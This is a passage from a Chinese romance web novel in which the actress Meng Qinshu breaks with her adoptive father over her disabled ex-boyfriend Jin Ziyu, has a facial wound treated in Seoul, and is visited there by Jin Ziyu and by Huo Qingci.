父亲登时黑脸,母亲一向得体,接着问,“男孩子家里做什么的?是哪个地方的人?”
靳子煜要回答被孟秦书打断,孟秦书替他答,“T市,普通家庭,但配我绰绰有余。”
父亲一忍再忍终于忍不住了,一拍茶几,眉头皱的可以夹死一只苍蝇,“孟秦书你信不信我断了你的一切经济!”
孟秦书淡然若素地从外套口袋里摸出家里带去的银行卡,俯身双手呈给父亲,“爸爸,我要和他在一起,这是大学三年的零花钱。”
“啪!”父亲又拍了一下桌子,挥手打掉孟秦书手里的卡,“孟秦书我们养育你到今天,你就是这么回报我们的吗!在你眼里还有我们父母吗!我告诉你孟秦书——”
父亲又指着靳子煜,靳子煜身体一摇晃,“这个人我们不会认,你要是敢跟他在一起,你就不在是孟家人!”
母亲优雅起身走到孟秦书身边伤心地好言相劝,“小书,爸爸妈妈自问从没亏待你,你怎么能这么伤我们心呢?你说说你找什么样的男朋友不好,找这么一个,你让爸妈的面子往哪里搁,你爸爸那些工作上的好友不得指着他鼻子嘲笑,小书爸爸妈妈什么都可以由着你,这件事我这里也通不过。”
她看到靳子煜眼里有泪光,孟秦书侧眸看身边的靳子煜,一把握住他没有架拐杖的左手,给他递了一个眼神,似乎是在说相信我。
“爸爸,妈妈。”孟秦书把父母看了一遍,眼神一下变得冷肃,“他叫靳子煜,是我喜欢的人,我喜欢他,我要跟他在一起,从今往后我不会在去见任何男人,我不觊觎孟家任何东西,但你们是我父母,将来我依然会侍奉你们。”
母亲摇头叹气坐回去,父亲那双几欲喷火的双眼,从孟秦书脸上转移到靳子煜脸上,靳子煜恭谦垂眸迎上父亲的眼睛。
“叔叔,我是真心喜欢——”
“你算什么东西!”父亲喝住他,“给我滚出去!”
“爸爸!”孟秦书尖利出声,走出来站在靳子煜面前,“你凭什么这么说他!”
父亲“腾”地起身,火冒三丈,“孟秦书这些年你吃我的用我的,现在帮着外人来跟我们对着干,你眼里还有我这个父亲,还有这个家吗!”
孟秦书像是听了一个笑话,笑得弯了弯背,嘴角嘲讽意味很深,她直视和她一样高的父亲,“爸爸,这些年我难道没按照你的要求去做吗?你让我对霍清辞好,难道我没做吗?是霍家看不上孟家,是霍家看不上我这个不上台面的养女,这也怪得了我?你的孟氏集团难道不是霍家看在我陪霍清辞那几年,把他陪高兴了,霍董事长大手一挥,送给你的吗?”
她当时听完,都替父亲感到尴尬。
那年父亲领养六岁的孟秦书回来确实是另有目的,霍家那位大少爷霍清辞自幼患有罕见血液病,听闻这位霍清辞小时候脾气不好,父亲便把孟秦书送过去陪伴他,父亲和霍董事长私下还达成了将来联姻的协议。
母亲跟她说,如果不是霍清辞
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身体有病,哪里轮的上孟秦书,可后来霍清辞的病奇迹般的好了,这桩事就不了了之了,但霍董没亏待他们家,早在孟秦书十岁时,霍董就助力父亲创办了孟氏集团。
孟秦书这一段话,话里话外意思很明显,是指双方各取所需。
孟秦书可真勇,为了这个残疾人要和家里决裂,她当时是这么想的。
父亲果然被气的脸红筋暴,抬起巴掌,孟秦书半点不惧,梗着脖子,巴掌挥下去的时候,一直被孟秦书护在后面的靳子煜,反应迅速地用左手拨开孟秦书,往前一步替孟秦书挨下了这一巴掌。
巴掌声响彻整个房间。
而这时休息室的门从外推进来,穿着新郎服的霍清辞和他的一位朋友走进来,霍清辞没看到靳子煜被打,但看到孟秦书捧着靳子煜的脸,还有父亲怒不可遏的脸色,猜都能猜到发生了什么。
“孟叔。”霍清辞上前来叫了一声,他客气礼貌的语气里,隐有威慑,连五十岁的父亲在他面前都不自觉地低一头。
这是霍家人与生俱来不怒而威的强大气场。
“清辞。”
霍清辞眉心微微拧,“靳子煜是我的朋友亦是我的贵客,孟叔,哪个人不是从无到有的,您不也是如此吗?”
父亲被问的连续眨眼睛,眼里像落进沙子似的,“我是在教育.....教育女儿。”
霍清辞看着孟秦书,继而再看靳子煜,轻轻一笑,话却是对父亲说的,“孟叔我记得您是三十七岁那年离开我父亲创业,您能用八年时间,造就孟氏集团,怎么就不相信年轻人呢,有句话不是叫长江后浪推前浪?孟叔您说是不是?”
父亲汗颜半天说不出一句话。
最后,这起事件因霍清辞的介入而暂时终止。
*
孟秦书坐进靳子煜车里,靳子煜启动车子,但没有要走的意思,他侧转脸看向副驾驶仍在用手按住左脸的孟秦书,她原本洁净皙白的手指,根根沾了血迹。
衣服上也是血迹斑斑,她脸上的伤是有多严重,怎么会流这么多血。
靳子煜眸色晦涩难辨,问:“还在出血?”
孟秦书摇头,“没有,只是纱布要掉了,上面的胶带不粘了。”
靳子煜伸长手臂从副驾驶中控台上拿来不常用的湿巾,轻声对她说,“拿下来,伤口也需要透气。”
孟秦书再次摇头,靳子煜抽取三张湿巾,静注她两秒后再问:“把手擦擦干净?”
依然摇头,孟秦书好像只会摇头了,靳子煜认为孟秦书是在跟他置气,所以问什么都摇头表示。
“靳子煜去华侨医院,我只能去那里。”孟秦书说。
“孟秦书你的伤.....”
孟秦书抢答,然后胡说八道:“减肥减得太厉害,三天前犯低血糖磕在桌角上了,划了一道口子。”
“你去韩国是为了治脸?”
理科生逻辑思维、发散性思维强大,被靳子煜猜对了。
“是,演员尤其是脸上不能有一点瑕疵。”孟秦书多说话会脸疼,但她这些话有必要说,“靳子煜我明天就去韩国了,有很长一段时间,我不会再来打搅你,你如果想去交女朋友什么的赶紧去交,这样我也好早点死心。”
靳子煜放下湿巾,已经准备挂D档的手,停在原位,声音有点放空,“你后面那半句和我找不找女朋友不存在关联。”
“靳子煜开车吧。”孟秦书催他开车。
华侨医院距离海城大学有二十公里路,又是市中心半径,红绿灯较多,一路走走停停,开了近三十分钟才到。
他们进的是地库,孟秦书没打算让靳子煜陪她进去,拉了拉车把,车门打不开,孟秦书回头对盯着车前方的靳子煜说:“靳子煜,麻烦你解锁。”
“孟秦书。”靳子煜叫她名字,孟秦书嗯声,不知道他是有什么话,干等几秒后,靳子煜扭脸看着她,视线灼灼,语调轻缓认真:“让我看看你的伤。”
21. 得寸进尺
孟秦书一松手,被血水泡透,又被自身体温焐半干的纱布落入她的手心,没有人真能不介意自己不完美的一面被其他人看到,更何况那个人还是自己喜欢的人。
她眼睫不自主地往下垂,不敢看靳子煜的面部表情,怕他被吓到那一下自然流露出的惊恐的神色,即使明知他不会这样的。
伤口在颧骨位置处呈横向的,泡在半干、黏黏稠稠的血迹之间,在快接近鼻梁的位置一直延伸到,颧骨往下三分之二处,形同一道半括弧,那上面是跟打了补丁似得缝合线。
靳子煜眼底惊痛一片,心脏几乎感受真切的刺疼。
他不是没揣测过孟秦书的伤口一定不小,但比想象中更严重,他怎么会把自己弄成这这样。
他们在一块的那几年,孟秦书哪怕伤一根手指,他都心痛的不得了,恨不能代替她,在他心目中,孟秦书就该光芒万丈,无病无伤。
孟秦书耳旁只有靳子煜愈加粗重不稳的呼吸声,她悄悄掀开一丝眼皮,便瞧见他一对恍似藏在澄澈湖水下的赤红眼睛,里面似还流淌着千言万语。
“靳....子煜。”
她确信靳子煜是在为她心痛,心里浮起密密匝匝的感动,还有是对这些年没能陪在他身边,自恨生出的苦涩,苦涩麻痹了舌尖,让她口齿变得不流利。
孟秦书嗫嚅似得声音,迫使靳子煜如梦咂醒,他挺直腰部,往挡风玻璃外望出去,在回看她时,所有的情绪都被他掩藏起来。
靳子煜从手边的置物盒里拿出刚才被他放起的一整包湿巾,把它递给孟秦书,“擦一下。”
孟秦书道了声谢谢,拿过去,抽取两张,另只手拉下车上的小镜子,她把纸巾捏成一个小尖,照着镜子轻轻擦拭下半张脸的血痕。
纸巾是冰的,脸颊碰一下带动上面的伤口产生牵拉痛,那种痛,辣滋滋的,两种感觉交替,酸爽到她热泪盈眶,喉咙里抑制不住地发出“嘶~嘶~”的痛苦之声。
终于让一旁的靳子煜看不下去了,他解开安全带卡扣后用命令式的口气说:“别动。”但传到孟秦书耳朵里怎么还听出有一两分哄的调调。
她乖乖听话,还很自觉地把上半身转向他。
靳子煜先抽出一张湿巾,擦干净自己的双手,然后把这张湿巾捏成团放一旁扶手箱上,他再抽了两张,用握笔的姿势,留出一小节,侧身朝向她,他平静地说:“痛的话,告诉我,我就避开那里。”
孟秦书点点头,但她潜意识里还有些畏惧,她咬住内嘴唇,克制住自己别惨叫出来,吓到靳子煜。
先从脖子处开始,冰凉的纸巾一触到她肌肤,孟秦书冷得缩了缩脖子,靳子煜的动作随之停下,孟秦书好不容易得到他的关怀,怎么能把他吓跑,她忙说:“不是疼是有点凉,继续吧。”
由脖子到下颌再到脸颊,一路往上走,靳子煜换了好几张纸巾,孟秦书已经适应了那丁点凉意,除却这点不适,真的好舒服,靳子煜一个大男人,但做起事情来,手法细致又温柔,很多年前她体验过,终于在时隔七年后再次重温。
靳子煜避开了伤口附近,该擦到的地方都擦到了,那里碰一下一定会疼,他决定放弃。放下湿巾时,他瞥见孟秦书的放在腿上的虚握成拳的右手,他伸手过去,握住她的手腕,拉过来,动作极轻地往外掰转,孟秦书心领神会地配合转过去,摊开自己手掌心。
换了张湿巾,靳子煜慢条斯理地把她每根手指的指缝都擦拭地干干净净,放下这只手,孟秦书得寸进尺的把自己的左手也交给他。
靳子煜手部动作一顿,孟秦书眼睫同时一颤,意识到自己有些过头了,暗自往回收手,可他却轻捏住她的两根指尖,孟秦书好像听见靳子煜短暂地吁口气,然后继续不厌其烦地替她把这只手也擦了一遍。
擦拭完成,孟秦书拿出手机打开前置摄像头照了照,只有伤口附近没擦到,比之前好了不是一点半点,终于不再那么吓人。
扶手箱上堆了十多张带血迹的湿巾,孟秦书得到了靳子煜的无微不至地照料,主动把这些垃圾收拾下包入掌心,推开车门,小跑去斜对面的垃圾桶,把它们统统丢掉。
靳子煜看着车窗外孟秦书又活灵活现的样子,扬起嘴唇,笑容不禁扩大。
只是,他没想到孟秦书还会跑回来,孟秦书拉开半扇车门,朝车里的他,眼眸一弯,漆黑的瞳仁里有星星点点的光,“靳子煜,我们圈子里拍吻戏有三种方法。”
靳子煜对哪三种方法表示好奇,孟秦书给他做起了科普老师,“敬业的、有职业素养的会亲自上场,也就是“真吻”,而我恰恰是反面教材,近拍用吻替,远拍借位,吻替很好理解,我说说借位,借位就是利用特殊的拍摄角度,让观众看起来像是在“真吻”,比方说上次那段视频。”
说完,孟秦书做了个拜拜手势,关上车门,一手捂脸,一手揣进大衣兜走了。
靳子煜目送这道高挑的黑色背影直至拐进电梯间消失不见,方才低头看方向盘上的这双手。
心里想的是那回事,手做的是另回事,理智、严谨、冷静、每每遇到孟秦书,顷刻荡然无存。
短出一口气,靳子煜驱车前往医科大研究院。
*
孟秦书于下午三点到的韩国,与她随行的还有助理小杨,孟秦书走在前面,小杨推着行李箱跟在她后面。
还没走到出站口已经感受到了当地的寒冷,她用食指抬了抬墨镜鼻梁托,脸颊有点凉飕飕,她后悔下飞机时没带口罩。
接机的是一辆白色别克商务车,孟秦书是看到车牌号认出的,驾驶员是在韩国工作的中国人,驾驶员有提前看过她的照片,所以在她上前去打招呼的时候,驾驶员先一步上来和她打招呼。
北风簌簌,呼啸声像狼嚎,孟秦书钻入温暖的车内,拉下卫衣外套的拉链,小杨跟着钻进来,孟秦书叫她赶紧拉上车门。
芳姐给她安排的酒店距离市中心不远,但距离机场有五六十公里,车程大概需要一个小时。
小杨拿出手机来看,孟秦书瞄见她
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手机屏幕上的出现的是关于她的页面。
“小杨看什么呢?”孟秦书摸摸脸上的纱布,胶布已有松动,刚才她都担心会被风给吹跑。
小杨把手机屏幕面向她,“华喜奖观众投票最佳人气女演员,南寒姐你排第一位了,大后天截止,第二名的雅雅差了我们三万多票,第三名的施漾差我们五万多票,我感觉我们这次稳了。”
华喜奖是电视剧奖,国内三大奖项之一,人气奖的含金量肯定不如像最佳男女演员来的高,但能拿到也是指的高兴的事,至少在说明这位演员是深受观众喜爱的。
只不过,这种奖通常是通过公众投票、在线投票来确定获奖者,是最容易受资本把控的。
孟秦书去年拿了一座这样的奖杯,因为近两年她没有热度高、质量高的作品,人气也有下滑,她拿完这座奖,被一大票人在网上讨伐,但谁拿奖不被质疑呢,人气奖这种奖项,不管谁拿都会被轮骂一遍。
“华喜奖去年拿过了,今天不可能是我。”
出道至今孟秦书拿过一个主流演技奖,若干人气奖,只有去年她被提出来‘当街吊打’。
一月二十日是华喜奖的开幕式,也就是说还有一个月,届时孟秦书脸指定没好,更何况她可不想再次成为众矢之的。
孟秦书准备眯眼打个瞌睡,手机在外套口袋里震了震,孟秦书拿出来一看,是霍清辞给她发来的信息。
霍清辞【我刚到国内,明天有空吗?陪你去攀岩。】
脸受伤的事,孟秦书没告诉霍清辞,是以为他年底才会回来,也就说还有一个半月,到时候她说不定好了,谁能料到他回来得这么早。
孟秦书第一反应是编瞎话,后来想想瞒不过去的,只好半真半假的回复他。
MQS【我今天刚到韩国,脸磕到桌角磕破了,去那里做个简单的修复。】
才发出去,霍清辞的电话就打过来了。
孟秦书按了接听键,放到耳边,里面传出霍清辞急迫地问她,“怎么回事?”
“减肥减过头,低血糖,眼一黑磕桌脚上,划了一道口子,不要紧,医生说能修复。”
孟秦书说这段话时,小杨正专注刷她的手机。
霍清辞用指责地口吻说她,“这么大的事怎么没和我说?”
知道霍清辞是关心她,孟秦书自是不会生气,“我——”
霍清辞意识到自己口气不好,语气生涩拐弯,“我可以给你找更好的医生。”
“哥,真的没事。”孟秦书带点笑腔说,是想让他别担心。
“韩国哪里,发个定位给我。”
“知道了,我现在还在车上,到了再给你发。”
挂掉电话,孟秦书把手机揣回兜里。
霍清辞对她过分的关心,她不是不知道,也担心嫂子那里会多想,可是霍清辞是真的把她当妹妹看。
而且可以说,霍清辞是这世上第一个真心实意对她好的人,她拒绝不了他的好,更不能再次伤了他的心。
22. 你在哪里
孟媛掐着靳子煜下课的点去找他。
她等到学生走光,敲敲教室门,靳子煜正在收拾讲台桌面,听见敲门声,朝她看过来。
孟媛勾唇轻笑,步进教室,走到靳子煜身旁,与他保持五公分的距离。
靳子煜拿来靠在讲台上的手杖,半转身朝向她,眉眼弯出友好的弧度。
孟媛抬高下巴,率先开口,语气亲切道:“我不知道该怎么称呼你,你还和我姐在一块是吗?我是不是该叫你姐夫?”
她的话让靳子煜微微一滞,他微敛目,淡声告知,“你误会了,我们分手很多年了。”
那昨天?
他不但把衣服脱给孟秦书,还牵住她的手臂,那么亲密的两个人……可依照他话中之意,两人没有任何关系。
孟媛惊讶到茫然,靳子煜唇浅浅一弯,给出肯定的意思。
孟媛不是个打破砂锅问到底的人,回了个微笑,说明来意,“靳教授,我这次来是特意感谢你,对我两次出手相救。”
上次是半年前,在行政楼的一楼。
她和徐朗在步梯间因家事吵架,被进行政楼办事,在电梯门前等电梯的靳子煜遇上。
当时,她被徐朗一巴掌打在脸上,头晕目眩的她没扶到墙壁,脚步不稳之下,侧摔在步梯间门口,一抬头她看到了,循声望过来的靳子煜。
虽说同在一所学校,但海城大学光主校区在职教师就有近两千人,两人没见过不足为奇。
话说回来,他们自从霍清辞婚宴后就再没见过面,但她依然一眼就认出了他,实在是当年残疾的靳子煜太引人注目。
一别经年,靳子煜由引人注目,变成了引人瞩目,而如今她却成了落魄不堪那个,让她顿觉耻辱到抬不起头来。
在她准备逃走时,被里面走出来的徐朗一脚踢在背上,她翻身倒地,然后她听见靳子煜愤怒且具有正义感的一声,“你做什么!”
靳子煜拄着手杖朝她过来,另只手拿起手机拨打电话,不知是打给报警还是保安室。
徐朗走出来踢她时是没看到外面有人的,这会儿有些慌了,“我是她老公,这是我们家事。”
手机放回兜里,靳子煜向她伸出手,而她从靳子煜目中她分辨出,他已经认出了她,她只觉得羞愧难当,爬起来直接跑掉了。
没想到半年后第二次她会被孟秦书见到,还被他们两个人救,但这次她的心境是不同的,她不再觉得耻辱,而是真心感谢他们两人。
靳子煜眉宇温和,“孟媛不用谢我,我没帮到什么忙,只是——”他顿了下,眉心微蹙,直言说:“你那位丈夫,我看来不是个好人,你该远离他。”
“我和他在离婚冷静期。”孟媛如实告诉他。
“你父母不知道吗?”
靳子煜本不该多言,但孟媛挨打一定不止一次,家里人怎么会不管,让他不禁奇怪,孟家家大业大怎么会容忍亲生女儿被欺负成这样。
孟媛来还为了一事,既然靳子煜主动提及,她便顺他的话茬说下去,“靳教授,我家在七年前破产了。”
短短一句话里,破产又是七年前,让靳子煜心头狠狠一震。
孟媛慢声说,“我爸妈离婚了,我爸受不了破产打击,心理出了问题,六年前住进了精神病院。”
谈及过往,无论回忆多少遍,孟媛都会酸楚到泪意涌现。
失神片刻靳子煜才回神,虽说注意力不集中,但孟媛的话他都听进去了,靳子煜没想到孟家经历了如此大的变故。
孟媛泪光隐动,靳子煜看得心里不是滋味,孟媛却是努力笑笑,对他说:“靳教授现在爸爸妈妈管不了我姐了,没人阻止你和她了。”
靳子煜哑声。
他从未抱有过这个想法,当年他被孟父骂、孟父觉得他配不上孟秦书,这是他去之前就有心理准备的。
没有哪对父母,一开始就能接受自己的女儿喜欢一个残疾人,他当时的想法是他一定会努力和他们证明,自己虽残疾不是说不能给孟秦书好的生活。
只不过后来,还没给他这个机会,他们就彻底分手了。
孟媛再告诉靳子煜一件事,“我姐的脸是被我爸扔出的椅子砸伤的。”
靳子煜往摁住手杖头的手晃了晃,他昨晚回来就一直在思考,怎么摔会摔出这样的伤,原来孟秦书是被她父亲砸伤的。
这又是为什么。
“我和我姐也七年多没见了,要不是上次她来学校找你,我也不会遇到她,她这些年一直一个人在外面闯荡。”
孟媛似乎有滔滔不绝的话要说,她歇了歇,接着说,“她这个人就是外表看着冷硬,再听说爸爸住进精神病院,她还是去医院看了他,结果被发病的爸爸拿椅子砸的满脸是血。”
一个接一个的信息,像重磅炸弹似得砸过来,靳子煜完全接收不过来,想到孟秦书那条如同沟壑嶙峋的伤,绵密似针刺般的痛,自他心尖蔓延,往上生长。
靳子煜喉结轻滚,“你姐为什么离家这么多年?”
孟媛双眼上附着的水汽逐渐消散,恍若拨开的云雾,眼神意味绵长,“因为你。”
*
孟秦书的手术被延期了,只因前天被打了一巴掌,引发消退的炎症卷土重来,医生给她开了两盒药让她回去吃,过三天再来复查。
孟秦书今天一大早来得医院,这个医生是非常有名气的医生,来找他修复的病人,数以万计。
芳姐托了多层关系,才给她在这个医生开了绿灯,插了队,所以看诊时间全听这位医生安排。
早上出发时,天还只是蒙蒙亮,天空中下着鹅毛大雪,听司机说这一场雪是半个小时前开始下的,是首尔今年的第一场雪。
医院出来雪已停,天地白茫茫一片,地上堆起一层薄薄的积雪,人们走在雪地里,混乱的脚印,踩烂了白雪留下的纯白。
孟秦书手拿一柄黑色长伞,拾级而下,有人从旁经过,留下一句中国话,“看这天,等会儿还要下雪。”
因为医院距离她住的地方不远,孟秦书回去打算步行,顺便走走逛逛,她没让司机在门口等。
怕脚底打滑,下台阶的每一步她都是只盯着脚尖。
直到双脚踩到平地上,视野中出现一双噌亮的黑色皮鞋,皮鞋鞋尖几乎触到她运动鞋的鞋尖。
孟秦书有种熟悉感,慕然抬头,视线从黑色的裤腿,深棕色羽绒服,白皙脖颈,由下而上,最后停在霍清辞这张英俊不凡的脸上。
她呆滞,而他看到她这副呆样,摇头笑了。<
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p>昨晚给他发的定位,今一大早就赶来了,来得可真及时。
“你怎么找到的这里?”
发呆过后是吃惊。
霍清辞故弄玄虚地说:“你就当我神通广大吧。”
实则是他凌晨五点到酒店门口时,孟秦书刚从酒店里出来,坐进等候在外面的商务车,他回到车里,开车跟上这辆商务车,一直跟到医院门口。
孟秦书深信不疑,“哥,早饭吃了吗?请你去吃早饭。”
医院马路对面就有一家早餐店,她来时从车窗里望出去看到的。
天地一片素白,除了披散的头发和浅粉如樱花的双唇,孟秦书浑身上下一身米白,衬得她昳丽的脸庞比初雪还要白上几分。
霍清辞盯着她脸上的纱布看了几秒,笑笑受邀,“走。”
店内飘出饭菜香和一团团白色雾气,门口站满了取餐带走路上吃的年轻人,孟秦书等在最末尾,她把宝贵的时间留给这些上班族。
轮到他们了,老板娘四五十岁是个地道的韩国人,孟秦书说英语,老板娘听不懂,一直和欧洲人打交道的霍清辞也不会韩语,老板伸手请他们进店内,指了指墙上挂的菜单,大概是说店内有菜单的意思。
两人到一张小长桌边,面对面对落座。
老板娘拿来一张A4纸大小的塑封菜单,上面每道菜不但有菜名还有图片。
孟秦书指着紫菜包饭,嗯嗯两声,竖一根手指,在指旁边豆腐汤,在嗯嗯两声,竖起两根手指,老板娘秒懂。
孟秦书问霍清辞还想吃什么,霍清辞压不住想笑的嘴角,很认真的表演摇头,孟秦书朝老板娘做了个OK手势,老板娘心领神会拿走菜单。
回眸,孟秦书嗔怪道:“别笑,不通语言不就只能这样吗?等下你来。”
霍清辞板正脸色,“我嗯不来,不来。”
“你说你语言细胞这么发达,都会五国语言了,怎么不想着再多学一门韩语。”
她的话有一定参考价值,霍清辞认同地点头,“我回去就去学。”
紫菜包饭和豆腐汤都是提早备好餐的,很快端上来,孟秦书早已饥肠辘辘,拿起筷子夹了一块菜包饭,放入口中,细嚼慢咽后吞下去。
孟秦书这些年去过不少国家,韩国还是头一次来。
霍清辞吃一口菜包饭,掀开眼皮问她,“伤口还疼吗?”
小小尝了一口豆腐汤,孟秦书回复他,“不是大动作不会疼。”
口袋里的手机有震动,孟秦书放下筷子掏出它,手机消息提示栏上跳出靳子煜给她发来的信息。
拇指一划,进入两人的聊天界面。
淡述【我到仁川国际机场了,你在哪里?】
孟秦书双眼豁然放大,眼里霎时迸出惊喜,连对面的霍清辞都发觉了她的异样。
孟秦书把她所住的酒店的地址发给靳子煜,她心里计算下仁川机场到她所住地大约四五十分钟,她步行回去二十分钟左右,孟秦书赶忙放下手机,拿起筷子,夹了菜包饭,塞如口中。
“靳子煜来了?”
能让孟秦书开心成这样的只有他了。
若不是霍清辞出声,孟秦书几乎忘了他的存在,她撩起水盈盈的双眸,对他说:“我们的翻译来了。”
23. 明天就走
吃好饭,孟秦书撂下碗筷就要跑去找靳子煜,却在门口被霍清辞叫住。
“小书,我开车了。”
孟秦书低啊一声,转瞬明白,车是霍清辞在当地租的。
两人穿过马路,走至医院停车场,东拐西拐,找到了霍清辞这辆车,这是一辆低调的黑色奥迪车。
送孟秦书进车内,关上车门,霍清辞绕到另一头,拉开主驾驶车门坐进去。
车内孟秦书已经系好安全带,眼巴巴等霍清辞开车,霍清辞一键启动车辆,暖风自几个出风口吹出来,然后打开雨刮器滋水挂掉挡风玻璃上的一层薄冰。
霍清辞食指敲着方向盘没立刻走,孟秦书心想他是等车温度上来,哪知霍清辞转头看她,眉心微动,唇角随之勾出一抹轻挑意味地笑,“给我看看,伤成什么样了,有没有变成丑八怪?”
孟秦书轻压住自己左脸上的纱布,摇头不同意,霍清辞执著地盯着她,笑意未散开,但瞳眸愈发漆黑。
无声对峙中孟秦书败下阵来,她揭开一条胶带,如同开关门,给霍清辞展示一下后马上关起来。
一双乌瞳骤然紧缩,继而霍清辞蹙紧眉头,眼眸凌厉如锋利的剑,敲方向盘的手转为紧握住它,似把它当成了仇敌。
“谁伤的你?”霍清辞没了一贯在她面前的散漫腔调,沉下声问她。
果不其然,什么都瞒不过他的眼睛。
霍清辞一旦有个正经,压迫感很强,头顶无形一股压力,孟秦书只好老实交代,“是我在海城大学遇到了孟媛,是我提出让她带我去看看孟坤,恰巧遇到孟坤发病,他拿起椅子朝我扔过来砸成这样的。”
霍清辞回看窗外,五年前,他从父亲书房门口路过,无意中听见秘书和父亲说起孟坤的近况,听完后父亲短暂叹息一声,父亲对孟坤是有一定感情的,孟坤是自父亲接手家族企业那天起就跟在他身边,两人是上下级亦是朋友。
“阿辞做的太狠了。”他听到父亲又慨叹一声。
之后他去了一趟精神病院,在那里碰到了孟媛,他和孟媛坐下聊了个把小时,聊完后他决定负责将来孟坤的一切费用,这些事至今都是他的秘书在替他操持。
不是孟秦书说起,他差点忘了,孟媛也在海城大学,看来七年冲淡不了她对靳子煜的喜欢,却冲淡了她对孟坤、宋珍珠的憎恨。
到底还是个心地善良的丫头。
两人都不出声,一时间车内陷入寂静。
这辆车应该有些年头了,出风口有吱吱的风机运转声,孟秦书被这股强劲的风吹得面颊燥红,伤口那里痒痒的又不好挠。
孟秦书手伸进口袋里,摸出手机,指腹碰触到屏幕,屏幕一亮,她趁机偷瞄了眼上面的时间。
好在,距离靳子煜到酒店还有三十分钟,车只要开出,不到十分钟就可以到酒店。
许是车里空气稀薄,孟秦书胸口憋闷,悠悠吐出口气,可她忘了旁边还有人呢。
霍清辞看孟秦书一眼,推档,踩油门,慢开出车位,转动方向盘,驶出停车场。
开到酒店,霍清辞把她放在酒店停车场外面的马路边,是她自己要求的,而霍清辞则是去找位置停车。
天上又开始下零星小雪,孟秦书一只手撑伞一只手插衣兜,路上但凡是向她这个方向行驶来的出租车她都要盯到它自眼前开过去,才回头观察下一辆。
霍清辞远远地望着孟秦书,薄唇不自觉抿出笑意,他垂眸看了眼腕表上的时间,他没去找孟秦书,而是径直走向酒店大门。
数到第十一辆出租车时,孟秦书撑伞的右手已冻到没有了知觉,她已经轮替过三回左右手了,这天真的冷,得亏没有刮风。
孟秦书跺跺脚,地上一个鞋底厚度的积雪被她时不时的原地跺脚踩成黑乎乎的碎冰。
“小书。”
温尔润清。
属于靳子煜的声音撩动孟秦书的耳膜,是从左边传来的,孟秦书一转头看到了正朝她走来的靳子煜。
他穿了一件深灰色长款直筒型羊绒大衣,衣摆长至膝盖下,大翻领里面是一件黑色半高领毛衣,裤子和毛衣一个色,裤腿遮住一半白色运动鞋,细长的黑色手杖到他的胯骨位置,瘦削拔长的一身穿搭,配身后飘雪的街道背景,美好的像童话故事里走出来的王子。
路上行人三三两两,于靳子煜同向而来,不到十来米之距,但由于地上有积雪,还有被地表温融化掉的雪变成的冰,让靳子煜每一步都走的小心谨慎,他走不快,但她可以跑向他。
孟秦书带点轻喘,白色热气自她嘴巴里接连不断地呼出,她手里的伞在跑来的途中被她收起,伞尖直立与地面,他们靠的太近了,孟秦书只能仰视靳子煜。
靳子煜垂下眼眸,黑眸中映照出她的整张脸,唯一煞风景的是她脸上有纱布,如果这是一幅画的话,它是来破坏美感的。
气喘匀后孟秦书退后一步半,这样只要稍抬下巴就能和他对视,站了近二十分钟,不只是手麻木,脸颊、嘴巴、舌头都冻麻了。
“靳....子煜,你特意来找我的吗?”
她已心知肚明,但仍是明知故问,她想听到他亲口说出来。
靳子煜浅浅颔首,看着她一头粘着雪片的黑发以及冻红的脸蛋,提醒说:“先进酒店。”
胸腔里仿佛有只小鼓在敲打,“咚咚咚”速度越来越快,力道也越来越重。
孟秦书往旁边让开,看似是让靳子煜先走,等他走到与她成一条水平线,她的右手一下从他手背面裹住他半个手掌,而他心照不宣地转动手腕,两人手掌贴合,成十指紧扣状。
*
酒店外面即使有透明玻璃雨棚,即使台阶上没有落雪,但人走留下的水迹,又是瓷砖地面,很快凝结成薄冰,对腿脚不便的人,不是那么友好,靳子煜手杖底部,就在上面打滑了两三次,最终是在孟秦书的帮扶下才走上平台。
孟秦书在平台上收伞,靳子煜盯着她看,一面翘起的嘴角可见他的愉悦和满足,两人的互动,卡座上的霍清辞尽收眼底,他收回视线起身去迎接他们。
步进大堂,靳子煜放开孟秦书的手是要去前台办理入住,他掏出大衣内置口袋里的钱包,取出境外信用卡,手指还有麻木感,一不小心信用卡掉到了地上。
这时,一只男性的手伸进来,捡起地上的卡,靳子煜看着这位穿深棕色羽绒服的热心男士直起腰,在他半张脸出现时靳子煜已经认出了来人。
是霍清辞。
当霍清辞整个站起来,整张脸出现在他眼前后,靳子煜想要和他打招呼,但霍清辞赶在他之前,笑容满面道:“靳子煜,好久不见。”
距上次宴会大概有两个月了。
霍清辞手里的信用卡递给靳子
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煜,靳子煜拿过去,说了声谢谢以及“霍清辞,好久不见。”
两人不管以前还是现在回回都这么客气。
孟秦书在旁小声念,“这种打招呼让我想到在做生意。”
闻言,霍清辞表示赞同地连点头,端一张老谋深算脸对靳子煜说:“我比你大三岁,你或者可以和小书一样叫我哥。”
孟秦书是和靳子煜并排的,所以霍清辞的表情她一览无余,她拽拽靳子煜的衣袖,用正常音量说:“不用听他的。”
靳子煜保持微笑不发言。
霍清辞自觉被两人嫌弃了,故作郁闷道:“行罢,你们忙,我先去楼上休息了。”
眼看霍清辞已走出好几米远,孟秦书追住他背影高声说,“哥,晚上请你吃大餐!”
扯到伤口了,孟秦书表面不动声色,暗处咬内嘴唇硬抗,不敢让靳子煜看出来。
霍清辞右手举得老高,做了个“OK”手势。
缓过来的孟秦书在听到手杖声远走时,蓦地回头,便看到靳子煜已在前台办理住房登记。
孟秦书方才想起他来这一趟没带行李箱,也就是说他只会住一晚?
靳子煜左手拿着酒店房卡,孟秦书走上去问,“子煜,你明天就回去?”
他点头说:“计划是这样,因为临近年关,无论是学校或是研究院,各种事务都需做年终总结,我和顾远还有个公司,也需时常过去看看。”
孟秦书心里有失落,但她没表露出来,再者说今天能见到靳子煜已经是巨开心的事,而且他们进展飞速,跟做梦一样,她一路来拇指指甲抠了食指十多次就为了验证到底是不是在做梦。
想到此处,孟秦书展露笑颜,“好,明天我送你。”
靳子煜把房卡收入大衣口袋,问起她,“你手术安排到什么时候?”
“还不确定,因为我脸上炎症还没消除。”孟秦书挽住他的手臂,身子都靠着他,“陪你回房间。”
不那么合适,孟秦书忙纠正,“就陪到门口。”
靳子煜的房间在十楼。
孟秦书把靳子煜送到门口,看他刷卡开了门,依依不舍的盯着他后背。
他一脚以踏入门内,没有任何话。
没想到七年后两人又开始重新谈恋爱,想当年两人同床共枕都不知道多少次了。
孟秦书回想谈恋爱时期女孩子的羞涩感,然而,她和靳子煜恋爱时期,她是没有的,几乎都是她在明里暗里撩靳子煜。
但撩拨的是她,被吃掉的还是她。
想到那些事,孟秦书脸庞骤然发烫,伤口处更是像有股火在里面乱窜。
